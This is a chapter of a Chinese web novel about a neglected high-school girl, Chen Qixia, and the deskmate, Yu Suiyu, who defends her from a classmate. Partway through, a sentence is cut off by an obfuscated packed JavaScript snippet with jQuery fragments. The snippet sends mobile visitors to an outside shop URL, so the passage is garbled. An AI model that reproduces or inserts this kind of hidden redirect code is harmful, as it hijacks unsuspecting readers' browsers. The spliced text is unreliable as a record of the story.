周六一早，陈其夏按陈文的要求坐在书桌前刷理科题，密密麻麻的数字让她头晕。


    她本就不擅长也不喜欢理科，可陈文只当她是不用功，硬把她圈在家里——对她而言，学校反倒成了喘息之地。


    太久没吃东西，低血糖让她眼前一黑栽在桌上。陈文一巴掌拍醒她，见她脸色惨白，随手将冰箱的馒头给她：“吃吧，搞得像我虐待你似的，小姐身子丫鬟命。”


    陈其夏没吭声，捡起冰凉硬实的馒头，一口一口慢慢啃着。


    她饿极了，耳边早已听不清陈文在说什么，想来也不会是什么好话，也就没有听清的必要。


    一拳打在棉花上的陈文翻了个白眼离开，让陈其夏终于得到了机会，她大口咬着馒头，又急又凶。


    等她反应过来自己已经吃饱时，整个人已经扒在卫生间将吃下去的东西全部吐了出来。


    眼泪连同鼻涕一同流出，整个人狼狈不堪。


    好一会儿，她才缓过劲，撑着冰凉的瓷砖慢慢直起身，抬眼和镜子中的自己对上视线。


    她抬手抹了把嘴角的水渍，指尖无意间蹭开额前厚重的刘海，露出一小片光洁的额头。


    镜子里的女孩皮肤白皙，五官生得极好，眉峰纤细柔和，鼻型小巧挺翘，唇瓣是自然的淡粉色，只是此刻毫无血色，微微泛着白。


    最惹眼的是那双眼睛，罕见的琥珀色瞳孔此刻却灰扑扑的。


    陈其夏怔怔地看着镜中的自己。


    陌生又熟悉。


    她轻轻抚摸脸庞。


    伸手将额头的刘海拨开，露出全脸，又很快复原。


    听到门口的响动，她快速回到房间拿起笔写作业。


    那张脸再没被她仔细端详过。


    周一一早，不等陈文先醒，陈其夏就迫不及待地去了学校。


    陈文不会给她做早餐。


    夏志杰一个月给她1000块钱抚养费，600是她自己的，剩下四百，是陈文跟她要的房租。


    陈文不会给她一分钱。


    陈其夏也不会伸手问她要一分钱。


    她不吃早饭，因为这样可以省下一笔钱，遇到紧急情况，她可以少和夏志杰要一些。


    开口向一个近乎陌生的人要钱，她每次都要将自己的自尊贬到地上。


    陈其夏是第一个到班的，她熟练地打开门。


    敏锐地察觉到桌间的空隙又挤了些。


    她轻轻向前推了一点，觉得足够她睡得好，将桌面清空，爬在桌上沉沉睡去。


    余岁聿几乎是踩点到校，来得不情不愿。


    整个班级都在站起来早读，只有他的同桌还趴在桌上睡觉。


    蓝色的冬季校服外套下露出一截纤细的手腕，余岁聿目光一扫，觉得自己轻轻伸手就能折断。


    看了眼时间，他敲敲桌子，叫醒了她。


    陈其夏一开始只想眯一会儿，没想到直接睡到了七点半。


    她还以为是马林飞，睁眼却对上余岁聿戏谑的眼。


    她迅速低头起身，给他让开位置，说了句“对不起”。


    余岁聿没理，他不觉得这有什么抱歉的。


    只是在进去时敏锐察觉到又被缩短的前后桌距离，看了眼陈其夏。


    陈其夏察觉到他的视线，没有说话，默默往出挪了两步。


    余岁聿叹了口气，坐下伸腿将前面两人的凳子往前一踹，伸手再推桌子直到抵上凳子才停手。


    整套动作一气呵成。


    陈其夏愣住了。


    顿时明白自己误会了他。


    她还以为，余岁聿因为她起来晚了才不高兴。


    他不在那两周，前面的人越坐越靠后，似乎也猜准了她不会说什么，便又将前后间距挪成了之前那样。


    陈其夏发现了但没说。一来她还能忍受，二来她不敢。


    因为这种小事麻烦马林飞，只会被人当成一年级的小学生看，她觉得没必要。


    但余岁聿不是能忍的主。


    大家距离一样拥挤他能忍，但老逮着软柿子捏，他受不了。


    更何况，他腿真的放不下。


    一脚踢上凳子，直抵前面男生的小腿，将桌子推到前面。


    陈其夏有些愣神。


    她人生中第一次，见到一个人完全不用考虑后果。


    前面的人反应过来以为是陈其夏，怒火中烧，将书摔在余岁聿和陈其夏的桌上，指着陈其夏的鼻子骂道：“你tm有病是不是？”


    教室一瞬间安静。


    陈其夏被骂懵了，一时没反应过来。


    余岁聿将书向后一投，准准落在垃圾桶里。


    “我踢的。”


    班里议论声四起，有人说新同学帅，有人说他装。


    陈其夏默默向后退了两步，不想让众人灼热的视线落在她身上。


    “谁让你扔我书的？捡起来。”男生见自己错怪了人，气势顿时软了几分。


    余岁聿不耐道：“你的书你扔给谁看？放我桌上就是我的，写你名儿了？女生你就敢指着鼻子骂，来你指我鼻子骂两句我听听。”


    陈其夏闻言抬起头看他。


    此刻窗外雾蒙蒙的，他身上好像闪着光。她即便是再迟钝此时也能感受到这种微妙的恶意。


    第一次，有人因为这件“小事”站在她身边。


    陈其夏莫名有些鼻酸。


    但随之而来的，一股强烈的愧疚感包裹着她。


    她居然成了麻烦，她不想给人制造麻烦。


    男生被他激，情绪有些上头，拿起余岁聿的书包扔在地上。


    余岁聿抬脚将桌子和他一起踹后了几分，正准备起身，被身后的人一把按了下去。


    男生想打架。却在一句“班主任来了”后顿时熄火。


    整个班级又像什么都没发生似的响起读书声。


    临芜一中有三条红线：打架、手机、谈恋爱。


    一经发现都是开除，没有例外。


    陈其夏默默蹲下地捡起余岁聿的书包，拍拍上面的灰，轻轻放在桌上。


    她能看出来，余岁聿的书包不便宜。


    摸着质感就不一般。


    余岁聿看了眼陈其夏温吞地动作，又忽然笑出声。


    他没见过有人能窝囊成那样。


    内心积攒的郁闷消散了几分。


    陈其夏对他的笑充耳未闻，有些吃力地将桌子挪回原位。


    “挤了。”余岁聿提醒道。


    陈其夏闻言又往前推了几分。


    “远了。”


    陈其夏又往后拉。


    “又挤了。”


    陈其夏往前推。


    “远了。”


    陈其夏再傻也听出来余岁聿在捉弄她，想要问他什么意思，身后就传来马林飞的声音。


    “一个桌子挪来挪去干什么呢？余岁聿，站起来读。”


    陈其夏的脸蹭一下红了，快速拿起书，手不自觉地蜷缩。


    她听见余岁聿轻“呵”一声起身，靠着窗玻璃吊儿郎当地读“相见时难别亦难，东风无力百花残”。


    余岁聿笑她什么都害怕，不然也不会被人欺负也不吭声。


    心里也暗暗盘算，这个位置真的不太好。


    前后不是安分的主，居然让一个女生坐在中间调和，想要达到某种意义上


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868697|191834||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的平衡，简直太离谱了。


    陈其夏看着课本出神，想和他说“谢谢”，又怕他蹬鼻子上脸。


    马林飞在教室转来转去，她也没找到机会。


    将那句道谢咽了回去。


    前面男生的书最终是他自己找了个没人的课间捡了回来。


    余岁聿在马林飞的讲课声中发呆，回过神发现身旁的女生已经睡了过去。


    她的胳膊肘撑着桌面，头发滑下来遮住半张脸，只露出高挺小巧的鼻尖。睫毛随着均匀的呼吸轻轻颤动，笔尖还夹在指间，却早已偏离了笔记横线，顺着书页边缘微微下滑。


    偶尔头往下一沉，她猛地绷紧肩膀，眼睛倏地睁开一条缝，茫然地扫了眼周围，见没人注意，又缓缓合上眼，嘴角还无意识地抿了抿。


    人怎么能困到这个地步，坐着都能睡着？他想。


    陈其夏周末比周内睡的时间还少，加上正在生长期，本来就吃不饱，现在还睡不好。


    她不敢告诉陈文自己困，只能趁着空闲自己偷偷补觉。但真实情况是，很多时间她在课上就睡了过去。


    成绩越来越差不是没有原因，她对此无能为力。


    陈其夏的身体不自觉地偏离凳子，潜意识觉得自己快要摔倒的她“啪”一声双手扶住桌面回正了身子。


    成功吸引力所有人的视线。


    陈其夏的脸“唰”地红透，从耳根蔓延到脖颈，埋在书后的脑袋恨不得钻进课桌底下。


    她僵硬地抬起头，眼神慌乱地瞟了眼四周，手指紧紧攥着书页，指尖泛白，嘴唇嗫嚅着想说句“对不起”，却因为太过尴尬，半天没挤出一个字，只能飞快地低下头，假装认真看书，耳朵却烫得能烧起来。


    目睹了全程的余岁聿轻笑出声，后面憋的太难受，索性爬在桌子上肩膀不住地颤抖起伏。


    他的动静吸引力身边小范围人的注意。


    陈其夏更加尴尬，挪着凳子离他远了些。


    怕等会马林飞发火把她也带上。


    见他还没有要停止的意思，陈其夏忍无可忍，拍了拍他的肩膀，小声道：“你别笑了。”


    “没笑。”余岁聿露着八颗牙齿抬头看她。


    陈其夏快速转头，没再理他。


    陈其夏就这样昏昏欲睡了一整天。


    她知道自己的状态不对，又不知该如何调整。


    她比任何人都希望自己能进步一点，再进步一点。


    余岁聿瞥见她不停掐自己胳膊，又看她昏沉得几乎栽倒，趁老师写板书时，伸手将靠近她的那扇窗推开了一条细缝。


    冷风灌入，旁边同学嘟囔着“好冷”，他又面无表情地迅速关上。


    陈其夏对此浑然不知。


    余岁聿一个厕所想了两个多小时，始终没有出去的机会。


    见她是在是困，也不好意思拍醒她。


    陈其夏起身去厕所的一瞬间，余岁聿也冲了出去。


    她看着前面飞快闪过的身影有些疑惑。跑什么？她又不会和他抢男厕所。


    女生上厕所总是三三两两，陈其夏小心翼翼地挤进去排在里面。


    听着周围同学的打闹，她也会在这一刻觉得孤独。


    她不是百毒不侵，她也需要朋友。


    她曾经也是有过朋友的。


    小学的时候，陈文严格把控她的朋友，只让她和学习好的人玩，结果就是陈其夏被当成了免费跑腿。


    后来到初中，她交到了人生中第一个好朋友。但陈其夏身边真的一个人都没了。


    性子也越来越沉闷。她也认为她好像不再需要朋友。


    但今天，她莫名想和余岁聿做朋友。